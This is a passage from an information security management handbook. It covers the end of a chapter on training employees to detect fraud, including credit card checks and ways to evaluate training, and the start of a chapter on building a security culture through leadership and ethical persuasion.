Anti-Fraud Awareness and Training Information Employees can perform many different activities that will help to identify potential fraudulent activities. It is the responsibility of the organization’s board of directors to support a written security program and training designed to help employees identify potential fraud and report potentially fraudulent activities to appropriate management. Personnel must be made aware of actions they need to take to help prevent fraud and what to do when they suspect or identify fraudulent activities. The following anti-fraud information and activities should be incorporated into the organization’s fraud prevention awareness materials and training curriculum as is applicable and appropriate for the particular business and organization: • Regularly communicate, via awareness messages and through formal training, the organization’s security procedures to discourage robberies, burglaries, larcenies, and fraudulent activities. This will help employees to assist in the identification and prosecution of persons who commit such acts. • Train personnel on the appropriate administrative, technical, and physical safeguards to protect the security, confidentiality, and integrity of customer information.
Training Employees To Identify Potential Fraud
277
• Designate a security officer with the authority to develop and administer a written security and prevention program for each business unit and office. Communicate to personnel who the officer is, the responsibilities of the officer, and when the officer should be contacted. • Establish procedures for opening and closing business facilities and for safekeeping all currency, negotiable securities, and similar valuables at all times. Communicate these procedures to all personnel. • Establish procedures to assist in identifying persons committing crimes against the organization. These procedures should preserve evidence that may aid in their identification and prosecution. Appropriate personnel need to be made aware of the procedures. Such procedures and actions to consider include, but are not limited to, the following: Use a hidden or closed circuit camera to record all office activities. Use identification devices, such as prerecorded serial-numbered bills or chemical and electronic devices. Retain a record of all robberies, burglaries, larcenies, and frauds committed against the organization. • Provide initial and regularly scheduled ongoing officer and employee training and awareness that explains personnel and management responsibilities under the security program and proper employee conduct during and after a burglary, robbery, larceny, or fraudulent activity. • Train appropriate personnel with related job responsibilities in how to select, test, operate, and maintain security, fraud prevention, and fraud detection devices. Such devices may include the following: Mechanisms to protect cash and other liquid assets, such as a vault, safe, or other secure spaces A lighting system for illuminating the area around the vault, if the vault is visible from outside the facilities Tamper-resistant locks on publicly accessible doors and windows Alarm systems or devices to immediately notify the nearest law enforcement officers of an attempted or perpetrated robbery or burglary Automated network tools to detection discrepancies within data that indicate potential fraudulent transactions Other devices as appropriate, taking into consideration: The incidence of crimes against financial institutions in the area The amount of currency and other valuables exposed to robbery, burglary, or larceny The distance of the facilities from the nearest law enforcement office The cost of the security devices Other security measures used within the facilities The physical characteristics of facility structures and surrounding environment • Train personnel who service customers how to verify the identity of each person seeking to open an account following the organization’s approved identity verification procedures. • Train personnel how to determine if individuals appear on any lists of known or suspected terrorists or terrorist organizations provided to the financial institution by any government agency. • Communicate regularly to personnel the organization’s beliefs and values that fraud is unacceptable and will not be tolerated. This applies social pressure on fraudsters not to attempt the crime in the first place and on others to report suspicion of fraud. • Communicate to personnel the organization’s sanctions for committing or assisting with fraud. Let personnel know that the organization regularly reviews activities and systems to detect fraud and that it is the responsibility of personnel to assist with fraud prevention. • Communicate information security policies and procedures to personnel. Fraud prevention begins with good security. • Teach personnel the appropriate procedures to report fraud as quickly as they suspect or detect such activities. Be sure to include examples of suspicious activities and case studies to be most effective.
278
Information Security Management Handbook
• Establish ways to confirm that suspected fraud is a fraud and not a “false positive.” Be sure appropriate personnel understand how to appropriately gather evidence related to such crimes. • Implement appropriate sanctions for fraudulent activities. Such sanctions can include disciplinary, civil, and criminal actions. Combinations of sanctions can often occur simultaneously, such as dismissing an employee and pressing charges. • When fraud has been proven, make every effort to recover the losses. Make employees aware of the efforts that must be made. • Establish fraud activity “red flags” and communicate them to employees. • Instruct employees to conduct checks for identity theft before issuing loans or other forms of credit to individuals. • Instruct employees how to obtain sufficient information to verify a customer’s identity to reduce the risk that the organization will be used as a conduit for money laundering and terrorist financing. • Teach employees the procedures for responding to circumstances when they cannot confirm the true identity of a customer. Credit card fraud prevention activities for employees should include the following: • Teach employees to ask to see the customer’s credit card for all in-person purchases. • For credit card purchases, teach employees to swipe the card for electronic data. If the card will not swipe, an imprint should be secured and the embossed information examined. • Teach employees to always compare the account number on the receipt with the number on both the front and back of the card. • Teach employees to always compare the name on the store receipt with the name on the front of the card. If the card is not signed, consider implementing a procedure to have the employee ask the customer to sign the card, ask for another form of identification, and compare the signatures. If the customer refuses, the transaction should not be completed, and the employee should advise the customer to contact the credit card company at the number on the back of the card. • Teach employees to always get a signature on the printed receipt for all face-to-face transactions. The employee should not complete the transaction if the signature on the receipt does not match the name on the front of the card and the signature on the back of the card. • Teach employees not to accept a fax or photocopy of a credit card to complete a transaction. • Establish procedures to ensure that personnel and the credit card processor are submitting all the magnetic stripe information required by the credit card companies. Be sure to train appropriate personnel to follow these procedures. • Instruct employees to obtain the expiration date for all methods (electronic, keyed, or manual) of credit card authorization requests. • Instruct employees to follow steps similar to the following when processing credit cards manually or when the magnetic stripes on credit cards are unreadable: If your business authorizes payment electronically and the magnetic stripe is unreadable, instruct employees to key the transaction and expiration date into the terminal for authorization approval. When processing charge requests manually, always get a voice authorization from the applicable credit card company. Obtain an imprint of the credit card on a paper sales draft that conforms with the applicable credit card company requirements. Require the customer to sign the paper receipt and compare the signature.
Training and Awareness Methods Much has been written about the need for security and privacy education through effective awareness and training activities. A regulatory and fraud prevention education program should address the
Training Employees To Identify Potential Fraud
279
organization’s interpretation of applicable privacy and security laws and regulations as well as support activities of the organization to mitigate fraud risk. It is vital for organizations to evaluate, and continue to reevaluate, the effectiveness of these education programs. Too many organizations spend considerable time and money to launch awareness and training programs only to let them then wane, wither, and die on the vine because they did nothing beyond the big implementation; they failed to put forth the effort and activities necessary to evaluate, update, and modify their programs as necessary to be truly effective.
Evaluation Areas The methods you use for evaluation and measurements are diverse. The following objects of evaluation identified by Verduin and Clark11 are useful. Tailor them to facilitate an evaluation of the organization’s fraud prevention education programs by considering the questions listed with each object: • Access. What groups are you reaching? Are any groups missing? Is everyone in the target group participating? Are you providing appropriate delivery methods for your target audiences? Can all of your target audience access your training and awareness materials and participate in your delivery methods? • Relevancy. Is your fraud prevention education program relevant to your organization’s business goals and expectations? Are your training and awareness messages and information relevant to job responsibilities? Will your education program have a noticeable impact on business practices? Was your training content appropriate for your target participants? Did your training cover regulatory and policy requirements? • Quality. Is the quality of your awareness materials adequate to get attention and effectively deliver the intended message? Does the quality of your training materials contribute to your students’ success? Do your trainers and teachers deliver quality education? Do they know how to interactively adjust to the abilities and experiences of their students? Were the conditions right for learning and for each learner’s subjective satisfaction? • Learning outcomes. Is the amount of time allowed for learning appropriate for successfully understanding the message? What do your participants say about the usefulness and effectiveness of your training and awareness activities? Do you tell the participants the expected outcomes of your education activities? What did the participants actually learn? Did your participants indicate they had a satisfactory learning experience? • Impact. What is the impact of your education program on your organization as a whole? Were activities and habits changed appropriately following training and awareness activities? What are the long-term impacts? Did the training methods promote the desired skills? Did job performance improve? What is the pattern of student outcomes following each training session? Did you assist managers with determining their own workforce performance? Did you create return on investment statistics to support training and awareness funds? • Cost effectiveness. What time requirements are involved? What are the costs for the materials? How many people are in your targeted groups? How is training being delivered? Are you using inside or outside training and awareness resources? What is the value of the method of awareness activity or training session you used compared to other awareness and training options? • Knowledge generation. Do you understand what is important for your personnel and managers to know? Do you understand what works and what does not work in your education program? Are you utilizing your evaluation results? Did you assist employees in determining their own performance success? Did you compile trend data to assist instructors in improving both learning and teaching? • General to specific. Do your instructors give students enough information to allow them to selfevaluate their own success in implementing what they learn? Are students told overall goals and the specific actions necessary to achieve them? Are goals and actions realistic and relevant? What is the necessary, prerequisite general and specific knowledge?
280
Information Security Management Handbook
Evaluation Methods Consider using a combination of the following methods for determining the effectiveness of fraud prevention education within the organization, but be sure to discuss the methods with the legal department prior to implementation to make sure the program is not violating any applicable laws, labor union requirements, or employee policies: • Videotape your training sessions. Review and critique to identify where it might be necessary to improve delivery, content, organization, and so on. • Give quizzes immediately following training to measure comprehension. • Distribute a fraud-prevention awareness survey to some or all personnel. Do this prior to training to establish a baseline then after training to help determine training effectiveness. • Send follow-up questionnaires to people who have attended formal training approximately four to six months after the training to determine how well they have retained the information presented. • Monitor the number of compliance infractions for each issue for which training is provided. Is this number decreasing or increasing? • Measure fraud prevention knowledge as part of yearly job performance appraisals. • Place feedback and suggestion forms on an appropriate intranet Web site, preferably one devoted to fraud prevention information. • Track the number and type of fraud and security incidents that occur before and after the training and awareness activities. • Conduct spot checks of personnel behavior; for example, walk through work areas and note if workstations are logged in while unattended or if negotiable check stock or customer information printouts are not adequately protected. • Record user IDs and completion status for Web- and network-based training. Send a targeted questionnaire to those who have completed the online training. • Ask training participants to fill out evaluation forms at the end of the class. • Identify the percentage of the target groups that participate in training. • Determine if the number of instructors is adequate and if they have the necessary level of expertise for the corresponding training topics. • Determine if the training materials address all the organization’s goals and objectives. Identify the gaps and make a plan to fill them. • Review training logs to see trends in attendance. • Tape or film participants performing their work after training to determine if they are utilizing the skills taught. • Administer occasional tests to personnel. Use multiple choice, short answer, essay tests, or a combination. Avoid using true or false tests. • Perform interviews with past training participants as well as personnel who have not yet been trained. Use structured and unstructured interview sessions.
Training Design and Development Design the training curriculum based on the learning objectives for the associated target groups. The training delivery method should be based on the best way to achieve the organization’s objectives. In choosing a delivery method, select the best method for the learning objectives, the number of students, and the organization’s ability to efficiently deliver the material.
Training Materials A curriculum must be created for the following if it does not already exist: • Computer-based training (CBT) • Briefings
Training Employees To Identify Potential Fraud
• • • • •
281
Web-based training Videos Telephone conferences Quarterly meetings Classroom
Design and Development During the design and development phase, keep these things in mind: • • • • • • • • • •
Outline the class content. Divide the training into instructional units or lessons. Determine time requirements for each unit and lesson. Create content based on what personnel need to know to perform their job responsibilities. Include interactive activities that can be taken back to their jobs and used right away. Be clear about the behaviors, actions, and activities expected of the students when performing their jobs. Describe how personnel would demonstrate successfully meeting the objectives being taught. Build upon existing capabilities and experiences within the group. Sequence topics to build new or complex skills onto existing ones and to encourage and enhance the student’s motivation for learning the material. Use multiple learning methods.
When determining the best instructional method for your target groups, keep the following in mind:
• Consider the people within the target group audience. Consider the audience size and location. Consider experience levels. Consider time constraints. If the audience is large and geographically dispersed, a technology-based solution, such as Web-based, CD, or satellite learning, may work best. • Consider the business needs. If the budget is limited, then a technology-based delivery or bringing in an outside instructor with already prepared materials may be appropriate. • Consider the course content. Some topics are better suited for instructor-led, video, Web-based, or CBT delivery. There are many opinions about what type of method is best. Much depends on the organization. It will be helpful to get the advice of training professionals who can assess materials and make recommendations. • Consider what kind of student–teacher interaction is necessary. Is the course content best presented as self-paced individual instruction or as group instruction? Some topics are best covered with face-to-face and group interaction, and other topics are best suited for individualized instruction. For example, if the goal is just to communicate policies and procedures, a technology-based solution may be most appropriate; however, if students need to perform problem-solving activities in a group to reinforce understanding or demonstrate appropriate actions, then a classroom setting would be better. • Consider the type of presentations and activities necessary. If the course content requires students to fill out forms, to use a specialized software program, or to participate in role playing, a classroom setting would be best. • Consider the stability of the class content. The stability of content is a cost issue. If content will change frequently (e.g., procedures are expected to change as a result of mergers, acquisitions, or divestitures) or if new software systems are planned, the expense of changing the materials needs to be estimated by considering difficulty, time, and money. Some instructional methods can be changed more easily and cost-efficiently than others. • Consider the technology available for training delivery. This is a critical factor in deciding the instructional strategy. Will all students have access to the technologies required? For Web-based training, will all students have access to the intranet or Internet? Do students have the necessary bandwidth for certain types of multimedia?
282
Information Security Management Handbook
The content for each target group should be based on the organization’s information security policy, fraud prevention guidelines, and appropriate business unit practices and guidelines. Additionally, content must support applicable security and privacy laws, regulations, and accepted standards. Following is a list of the content topics generally common to all target groups (core content) and the content that will have to be specialized for each target group (targeted content): • Core content Background fraud information Corporate fraud prevention policy Business impact of fraudulent activities Fraud-related terms and definitions Legal requirements for fraud prevention and reporting The organization’s fraud prevention procedures • Targeted content The fraud and risk implications for the targeted group based on their business responsibilities Actions for the target group related to their job responsibilities, interactions with customers, interactions with third-party business partners, and so on The organization’s fraud prevention fundamentals, rules, policies, standards, procedures, and guidelines applicable to the target group Case studies designed specifically for the target group Review of key points Tools and checklists specific to the target group to meet fraud prevention goals Resources Summary Questions
Content Based on Fraud Prevention Goals Fraud prevention and detection training content must include information that supports the organization’s security and fraud prevention goals and principles. When creating training curriculum, the following can be used to guide content development. These are the methods of training delivery most commonly used, and indicated with each method are the benefits and drawbacks for the corresponding method. Instructor-Led Classroom Training Instructor-led classroom training is recommended for target groups that have the most decision-making responsibilities and procedures. • Benefits Is typically the most high-quality and interactive method. Is comparatively easy to update and can most easily be tailored to the audience compared to other methods. Allows for the most interaction compared to other methods. Gets participants away from distracting environments. Can gauge and measure participant understanding. • Disadvantages May be costly with regard to time and resources necessary. Can train only a relatively small number of participants at a time. Often requires a large time investment for participants. Takes participants away from their work area.
Training Employees To Identify Potential Fraud
283
Computer-Based Training or CD-ROM Training This type of training is recommended for general audiences and training remote participants. • Benefits Allows participants to remain in their work areas. Costs less overall than most other methods. Can be taken in modules. Allows participants to be widely dispersed geographically. Allows a large number of participants to undergo training in a short amount of time. • Disadvantages Does not allow instructor interaction. Is a type of static training that may quickly become outdated. Is difficult to gauge participant understanding. Web-Based Live Training (“Webinars,” Net Meetings) • Benefits Can reach a large number of participants in a short amount of time. Accommodates participants in many different locations. Can be recorded and subsequently viewed anywhere, anytime, anyplace. Offers the option of on-line support. Is cost effective. • Disadvantages Could require a large amount of network resources. Provides for only limited interaction. Videos • Benefits Can be shown anywhere, anytime, anyplace. Typically does not require any instructor–student interaction. Can be viewed by a large number of participants in a short period of time. • Disadvantages Is not interactive. May be expensive. Satellite Presentations • Benefits Allows for live interactions. Is more timely and up-to-date than videos and computer-based training. Is interactive. Reaches a large number of participants. • Disadvantages May be costly to establish if infrastructure is not already in place. Can be difficult to coordinating times to accommodate wide range of geographic locations. Many instructional elements will be consistent from course to course, regardless of the instructional methods used. Most courses will involve delivery with voice, text, and graphics. To make instruction more effective, consider incorporating pictures or graphics, video, demonstrations, role playing, simulations, case studies, and interactive exercises. Several of these presentation methods will be used in most courses. Remember that it is generally considered most effective for student understanding to deliver the same message or information multiple times using multiple methods. The students (employees and other applicable personnel) all have their own unique learning styles, and what works well for one person will not necessarily be effective for others. Develop instructional methods based on instructional objectives,
284
Information Security Management Handbook
course content, delivery options, implementation options, technological capabilities, and available resources. Web-based training is often a good alternative for large audiences and can provide an overview of the topic and communicate policies and facts; however, this type of instruction method is often not appropriate for audiences that are learning procedures or how to act in specific types of situations in which role playing is necessary.
Notes 1. http://www.consumer.gov/sentinel/pubs/Top10Fraud2004.pdf. 2. http://a255.g.akamaitech.net/7/255/2422/07feb20051415/www.gpoaccess.gov/usbudget/fy06/pdf/ budget/other.pdf. 3. http://www.ussc.gov/2003guid/2003guid.pdf; pp. 456–457. 4. http://www.ussc.gov/ANNRPT/1995/ANNUAL95.htm. 5. http://www.ussc.gov/ANNRPT/2001/SBtoc01.htm. 6. http://www.ussc.gov/2004guid/gl2004.pdf. 7. U.S. Sentencing Commission, Sentencing Guidelines for United States Courts, http://www.ussc. gov/FEDREG/05_04_notice.pdf. 8. Mayo, Roethlisberger and Dixon, and Landsberger, to name a few. 9. One source out of many is http://web.utk.edu/~gwynne/maslow.HTM. 10. Parker, D. 1998. Fighting Computer Crime: A New Framework for Protecting Information, pp. 462–473. New York: John Wiley & Sons. 11. Verduin, Jr., J. R. and T. A. Clark. 1991. Distance Learning. San Francisco, CA: Jossey-Bass.
23 Beyond Information Security Awareness Training: It Is Time To Change the Culture Stan Stahl
feel about the need to secure information, until and unless our people develop good information security instincts, the gap between the dictates of information security policy and the behaviors of our people will persist. It is the role of culture to close this gap.
Organizational Culture The culture of an organization can be defined as: A pattern of shared basic assumptions that the group learned as it solved its problems of external adaptation and internal integration, that has worked well enough to be considered valid and, therefore, to be taught to new members as the correct way to perceive, think, and feel in relation to those problems.1 What this means is simply that, as an organization evolves, it discovers ways to adapt to market, competitive, regulatory, and other changes in its external environment. It also figures out ways to organize itself internally — formally, as represented by the organization chart, and, more importantly, informally — the way the work actually gets done. These ways are never perfect, but they are satisfactory for achieving the organization’s goals and objectives. These ways of being and of adapting then become the norm for the organization, and they characterize the organization’s culture. Cultures have subcultures; thus, one finds a marketing subculture and a sales subculture. These two subcultures emphasize building relationships with one’s markets and customers. That is why a lot of golf is played by people in these subcultures. We all know the penuriousness of those in the financial subculture; they are not called “bean counters” without good reason. Operations people have their own subculture, as they are focused on managing the supply chain and transforming streams of orders and raw materials into the delivery of products and invoices. The information technology (IT) organization, too, has its own subculture, very distinct from other organizational subcultures. It even speaks a language of its own. If the organization is big enough, it will even have its own security subculture, typically populated by former law enforcement personnel expert at guarding people and things. One of the things to observe is that the marketing, sales, operations, and financial subcultures form the core of an organization and, consequently, dominate in setting the culture of the entire organization. A second thing to observe is that a great deal of interaction occurs between people in these four core subcultures. They work together to accomplish the mission of the organization. As a result, there is a mixing of subcultures, and people throughout these parts of the organization evolve a somewhat similar way to perceive, think, and feel about problems and challenges. One of the major challenges in strategically integrating the IT organization into the senior management team is that the cultural barriers are often difficult to break through. As IT has become more readily acknowledged as being strategically critical to the success of the organization, more leadership energy is being put into breaking down the cultural barriers between IT and the core organization. Note, finally, that in the typical organization the entire protection function is externally located in the security function, with little if any mixing between the security culture and the rest of the organization. Responsibility for protection lies with the security organization; everyone else gets to go about their business without worrying about security because the guards are presumed to have it all covered.
The Information Security Cultural Challenge Given the cultural context in which the information security organization finds itself, the cultural realities of the situation are, to be honest, somewhat bleak: • Information security is a new kid on the block. In most organizations, the information security function is at most a few years old. The field itself dates back to only 1970.2 • Information security is nowhere near core to the organization. Even when a regulatory requirement for information security controls exists, it is pushed by senior management only because it is
Beyond Information Security Awareness Training: It Is Time To Change the Culture
287
legally required. Top-level support for information security could dry up in an instant if the legal and regulatory landscape were to change. • Even more challenging, the information security organization manages a set of concerns seemingly disconnected from those of the marketing, sales, operations, and financial organizations, with the result that the information security subculture is dramatically disconnected from these other, much more dominant subcultures. • Because the term “information security” contains the word “security,” the cultural expectation is that the information security group will take care of security just like the guards do, with no need for “me” to get involved • Except for the annual awareness training, the only time the information security culture touches the rest of the organization is when employees forget their passwords or when the system apparently will not let employees “do their job.” Consequently, natural opportunities for cultural blending are few, with the result that the information security subculture will tend to evolve in isolation from the dominant culture. It is against this backdrop that the information security organization must embed its culture into the culture of the larger organization, for this is the only way to transfer to the larger organization the correct way to perceive, think, and feel in relation to information security problems.
The Chief Information Security Officer’s New Job The energy for the required cultural change must come from the information security organization, ultimately from the chief information security officer (CISO). Without the CISO’s commitment, organizational change will not occur. With adequate commitment, with enough time and energy put into the challenge of embedding information security into the very sinews of the organization, and with this commitment applied wisely, success can be a nice easy marathon. Any CISO who takes the CISSP Security Management Practice Domain seriously and thinks logically about it can come to no other conclusion than that cultural change is and must be a part of his or her job description. The alternative, frankly, is a copout, and it results in more crisis work cleaning up after user messes; consequently, all CISOs should add the following to their job descriptions: Embed information security subculture itself as quickly as feasible into the larger culture, so the larger culture perceives, thinks, and feels correctly in relation to information security problems.
Leadership: The Force for Cultural Evolution Cultures are never static. Left to their own devices, they continuously evolve in reaction to the internal and external pressures faced by the organization. The challenge of leadership is to optimally affect the ongoing course of organizational evolution, to be the change agent directing this evolution, keeping in mind that:3 Culture and leadership are two sides of the same coin. …If cultures become dysfunctional, it is the unique function of leadership to perceive the functional and dysfunctional elements of the existing culture and to manage cultural evolution and change in such a way that the group can survive in a changing environment. Leadership … is the ability to step outside the culture … and to start evolutionary change processes that are … adaptive. This ability to perceive the limitations of one’s own culture and to develop the culture adaptively is the essence and ultimate challenge of leadership. This aspect of leadership — changing the larger culture in the direction of information security — must be part of any CISO’s job description. Until and unless the information security way of seeing the world becomes a part of the organization’s culture, the organization is dysfunctional. Every time a security breach occurs (even if it fell in the forest and no one was there to hear it), every time an information
288
Information Security Management Handbook
security breach occurs whose root cause is human, that is evidence of the dysfunctionality. So, the CISO must step outside the culture and look at it from the outside, molding and shaping its evolution so over time people are doing the right thing. They are being careful, they are paying attention, and they are even training each other, all because an information security mindset has become embedded in the larger culture.
Strategic Imperative: Evolve an Information Security Learning Organization Real security lies not just in firewalls, passwords, and awareness training but also in a culture that perceives, thinks, and feels correctly with regard to information security problems. This can only happen gradually as the culture evolves into an information security learning organization. David Garvin, in an article in the Harvard Business Review, defines a learning organization as follows:4 A learning organization is an organization skilled at creating, acquiring and transferring knowledge, and at modifying its behavior to reflect new knowledge and insights. An information security learning organization is an organization skilled at creating, acquiring, and transferring knowledge about information security and at modifying its behavior to reflect new information security knowledge and insights. In The Fifth Discipline, Peter Senge, one of the pioneers of learning organizations, identified five key disciplines that are prerequisites to establishing a learning organization.5 These five disciplines are as follows.
Personal Mastery Personal mastery refers to approaching one’s life as a creative work, living life from a creative as opposed to a reactive viewpoint. This requires that we continually clarify what is important to us and continually learn how to see reality more clearly. We can only learn when we are unafraid; consequently, the CISO has to create a trusting environment in which people are willing to open up to their information security inadequacies without fear of feeling stupid or otherwise inadequate. Implementing this discipline gives the CISO a great opportunity to help people recognize the significant risks that their behavior subjects information to. As people’s defenses fall, the CISO will have more opportunities to help people gain greater clarity about their information security responsibilities. In this way, the CISO can lead the culture to become ever more conscious of information risk and the things we must all do to counter it.
Mental Models Continually managing our mental models — surfacing them, testing them, and improving them — brings our mental models of how we think things are into greater and greater alignment with how things really are. This requires providing people with the intellectual tools necessary to understand information security so its principles come to be applied in every situation where people might put information at risk. The CISO must define the very language by which the organization can talk about the security of information.
Shared Vision Developing and nurturing a shared vision of the future is a powerful force for aligning the organization; out of a shared vision can come transcendental powers of accomplishment. The information security leader needs to connect information security to the very success or failure of the organization, helping people understand, for example, how an information breach could close the company and put people out of work. With the heightened concern about identity theft, the CISO has the opportunity to connect information security to the ethics of the Golden Rule: Everyone’s information, including our own, is at risk. We must protect other people’s information just as we rely on others to protect ours.
Beyond Information Security Awareness Training: It Is Time To Change the Culture
289
Team Learning Team learning is aligned learning, based on dialog and discussion and having the power to efficiently move an organization toward its shared vision. The CISO must help people understand the reasons behind all the security rules. People do not like to follow rules, but they willingly embrace behavior when they have discovered its necessity for themselves. Thus, the CISO must work with people so they come to train each other. A goal should be to make information security a common theme in discussions around the water cooler.
Systems Thinking Systems thinking is the ability to fully understand the cause-and-effect relationships that exist between events, that everything we do can simultaneously be both cause and effect. The CISO must understand the forces on the organization’s culture and the myriad of causes and effects that impact the culture’s evolution. And, having understood them, the CISO must create and implement a strategy for information security cultural change that aligns with these forces. To be effective, the change strategy must amplify those cultural forces, such as increased compliance and the organization’s need for information availability, that demand greater cultural change. Conversely, an effective strategy must overcome systemic realities, such as information security usually being relatively inconsequential to the core of the organization.
Real Power: The Force for Evolving the Information Security Culture The greatest challenge that CISOs face as they go out into the world of culture change is a lack of any of the trappings of power. The typical power of the CISO is negative: “It’s the information security group that makes me change my password.” “Well I don’t see why I can’t have wireless in my office. Who made them God?” “Sorry, Bill. We can’t go over end-of-month reports until Thursday. I have to take my information security awareness training. Boring!” And, although it may be possible to convince a chief information officer (CIO) or chief executive officer (CEO) to support you as the CISO, you know their attention will be diverted by the next crisis, and then they will kind of forget about you again … until the next disaster, when, unless you are lucky, you will be blamed for a human error the root cause of which is firmly embedded in the culture. Even if a CISO has the power to impose an information security perspective on the larger culture, the reality of organizational change programs — upwards of 75 percent of them fail — suggests that the CISO is not likely to succeed. Fortunately, there is a better way, one that does work. It involves changing the culture imperceptibly, one moment of truth at a time, but doing so with strategic insight. Like the butterfly effect in complexity science, the CISO’s objective is to achieve large outcomes from small inputs.6 The strategic guide for accomplishing this was written in China 2500 years ago. According to legend, the Tao Te Ching, eastern philosophy in the Buddhist tradition, was written by a monk named Lao-tzu. In their book Real Power, management consultant James Autry along with the noted religious scholar Stephen Mitchell, apply the Tao Te Ching to the modern business organization. Mitchell describes the Tao as follows:7 Tao means literally the way. …The Tao has been called the wisest book ever written. It is also the most practical book ever written. In eighty-one brief chapters, the Tao Te Ching looks at the basic predicament of being human and gives advice that imparts balance and perspective … the classic manual on the art of living. The authors describe the essence of the Tao’s applicability to work as follows: The most important understanding we can have about work is not that we are there to cultivate ideas, but that we are there to cultivate the space that holds ideas.
290
Information Security Management Handbook
Think about it. When the CISO is talking to the purchasing department about information security, the purpose is not to tell people the results of our thinking about information security. The purpose is to create opportunities for people to think about information security for themselves. Autry and Mitchell write the following as an analogy: We use materials and techniques to make a wheel or a pot or a house — yet what makes them useful is not their form but the space that their form defines and creates. A room is what is inside its four walls; the walls make the room possible but they aren’t the room. Even what is inside the room — its furniture, lighting, floor coverings, and so on — only accommodates how people live within the room; they are not the living itself. It is not the passwords and the anti-virus software and the policies and the awareness training that are the information security culture. From the perspective of real power, these are merely the trappings of security. Real security lies in the culture perceiving, thinking, and feeling correctly in relation to information security problems. The culture does this by becoming an information security learning organization, and this happens, little by little, as those who know more about information security create opportunities for others to learn. It all starts with the CISO taking every opportunity to create an opportunity to cultivate the organizations ideas about securing information. What gets in the way of opportunities for people to learn about information security? Autry and Mitchell tell us: There’s just one thing that collapses that space: expectations. When people are talking with the boss, they are always aware of hierarchy, so they measure their words and actions, assuming that they are constantly being judged. This is, in fact, most often the case, and the added self-consciousness can stifle someone’s best ideas. But if people feel that they can be themselves, that they aren’t being judged against the boss’s preconceptions, then they can become liberated to do their best work. When you act in this way to support people and ideas, you will be creating an atmosphere that gives birth to high morale and productivity. Even though the CISO is not the boss, when he talks to people about information security he is the authority, acting in the role of judge. When people think they are being judged they become fearful. When they become fearful, they become defensive. When they become defensive, learning shuts down … and the CISO loses an opportunity to impact the culture. To be successful at creating culture change, then, the CISO must not judge. This is reflected in the very first of Deming’s highly influential 14 points of quality improvement: “Drive out fear.”8 With the above as prelude, the following are some verses from the Tao that are particularly germane to the challenge of embedding information security into the organizational culture: The ancient Masters Didn’t try to educate the people, But kindly taught them to not-know. When they think that they know the answers, People are difficult to guide. When they know that they don’t-know, People can find their own way. The Master doesn’t talk, he acts. When his work is done, The people say, “Amazing: We did it, all by ourselves!” Intelligent control appears as uncontrol or freedom. And for that reason it is genuinely intelligent control. Unintelligent control appears as external domination.
Beyond Information Security Awareness Training: It Is Time To Change the Culture
291
And for that reason it is really unintelligent control. Intelligent control exerts influence without appearing to do so. Unintelligent control tries to influence by making a show of force. If you want to shrink something, You must first allow it to expand. If you want to get rid of something, You must first allow it to flourish. Giving birth and nourishing, Having without possessing, Acting with no expectations, Leading and not trying to control: This is the supreme virtue
Ethical Persuasion: Changing Culture Means Building Relationships If you would win a man to your cause, first convince him that you are his sincere friend. Therein is a drop of honey that catches his heart, which is the high road to his reason, and which, when once gained, you will find but little trouble in convincing his judgment of the justice of your cause, if indeed that cause be a just one. —Abraham Lincoln, 16th U.S. President Changing a culture requires changing people — changing how people perceive, think, and feel about information security problems. In effecting cultural change, the CISO must win everyone to the cause of information security, and to do that, as Lincoln reminds us, requires the CISO to be a sincere friend. If the CISO is to change people, the CISO must engage in what is known as ethical persuasion, the honest attempt to induce people to change their behavior. To persuade ethically — to catch the heart, which is the high road to reason — the mode of persuasion must be direct and honest, respectful of people, and without manipulation. Recent work in the behavioral sciences has discovered six specific persuasion triggers that the CISO can use to influence the extent to which people will open themselves up to being persuaded.9
Trigger 1. Reciprocity People feel obliged to give to people who have given to them. This trigger is, perhaps, at the core of human interaction and relationship building. It appears to be invariant across all human cultures. Besides instilling obligations, the reciprocity trigger is an inducement to build relationships. The trigger is activated by gifts and concessions. The key is to provide a gift or a concession as a way of getting a relationship started. The reciprocity trigger is a testament to the power of the Golden Rule: Give unto others as you would have them give unto you. First you give, then you get. The most important gifts a CISO can give are the gifts of friendship and respect, the gift of recognizing that coworkers have needs and challenges and responsibilities of their own, and the gift of accepting that these can get in the way of people’s information security obligations. This does not mean abandoning information security standards, but it does mean giving people flexibility in meeting the standards. The CISO should also seek out opportunities to apply information security standards to helping people do their jobs. To most employees, information availability is more important than information confidentiality. The CISO who gives employees the gift of information availability can reciprocally trigger employees to better protect information confidentiality and integrity.
292
Information Security Management Handbook
Trigger 2. Social Proof People follow the lead of similar others. An information security bandwagon is forming as society increasingly recognizes the need to secure sensitive information. Laws are being passed requiring whole industries to implement information security safeguards. Legal duties of due care are being established in the courts, by the Federal Trade Commission, and by several Attorneys General. Business organizations, including the influential Business Roundtable, are recommending that information security become a matter for attention by a company’s board of directors. Joining the bandwagon are all those employees who see their productivity suffer from spam, viruses, and the other digital detritus that finds its way into their information systems. An effective CISO can use this emerging bandwagon to trigger social proof. By gently demonstrating how this bandwagon is growing, by sharing with personnel how others are coming to think, feel, and act differently about information security issues, the CISO can influence people to join the bandwagon. To amplify this trigger the CISO can demonstrate how ubiquitous information security concerns are becoming and how the entire society is becoming concerned about information security matters. Building a bandwagon inside the company adds additional amplification as people tend to be more strongly influenced by people who are like them. People are particularly prone to doing what others do when they find themselves in unfamiliar situations where they are not quite sure what they should do. As information security requires employees to act differently, the effective CISO will always be on the lookout for opportunities to share information that illustrate effective security practices.
Trigger 3. Authority People defer to experts who provide shortcuts to decisions requiring specialized information. As a general rule, people tend to rely on those with superior knowledge, expertise, or wisdom for guidance on how to behave. This trigger illustrates the difference in influence between being an authority and being in authority. CISOs can naturally tap into this trigger as people typically respond to the trappings of authority. A CISO’s title, CISSP certification, diplomas on the wall, books on the shelf, even the ability to speak geek are the trappings that establish the CISO’s authority. Where the CISO sits in the organizational hierarchy can add or detract from the CISO’s trappings of authority, which is a big reason why it is important for the CISO to have a seat at the management table. Although people will generally respond to the trappings of authority, research has shown that the most effective authority is the authority who is perceived as credible. Two factors dictate the extent to which people will deem the CISO as a credible authority: the CISO’s expertise and trustworthiness. This is one reason why the CISSP certification is so valuable. Not only is it a trapping of authority, but it also serves to demonstrate expertise. It serves notice that the CISO is not just an empty suit. Trustworthiness is the second amplifier of the authority trigger. Trustworthiness means being honest with people about the realities of information security. It means not trying to frighten senior management into budget increases or employees into meek compliance with horror scenarios having a 0.00001 percent chance of occurrence. Trustworthiness means being brutally honest about the strength and robustness of one’s information security controls, making them out to be neither stronger nor weaker than they really are.
